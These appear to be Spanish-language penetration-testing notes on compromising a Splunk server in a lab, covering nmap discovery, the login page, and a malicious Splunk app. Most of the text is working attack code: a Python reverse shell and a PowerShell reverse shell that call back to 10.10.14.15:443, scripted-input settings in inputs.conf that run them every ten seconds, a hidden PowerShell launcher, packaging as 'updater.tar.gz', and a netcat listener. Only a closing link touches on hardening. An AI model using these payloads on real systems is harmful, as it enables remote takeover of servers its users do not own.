Splunk

Documentación

https://help.splunk.com/en

Discovery/Footprinting

sudo nmap -sV 10.129.201.50

Enumeración

https://10.129.81.88:8000/en-US/account/login?return_to=%2Fen-US%2F

Ataques

https://github.com/0xjpuff/reverse_shell_splunk

mkdir -p splunk_shell/{bin,default}

nano splunk_shell/bin/rev.py

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

nano splunk_shell/bin/run.ps1

#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

nano splunk_shell/default/inputs.conf

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

nano splunk_shell/bin/run.bat

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

tar -cvzf updater.tar.gz splunk_shell/
sudo nc -lnvp 443

Subir el archivo updater.tar.gz

https://10.129.81.88:8000/en-US/manager/search/apps/local

Hardening

https://docs.splunk.com/Documentation/Splunk/8.2.2/Security/Hardeningstandards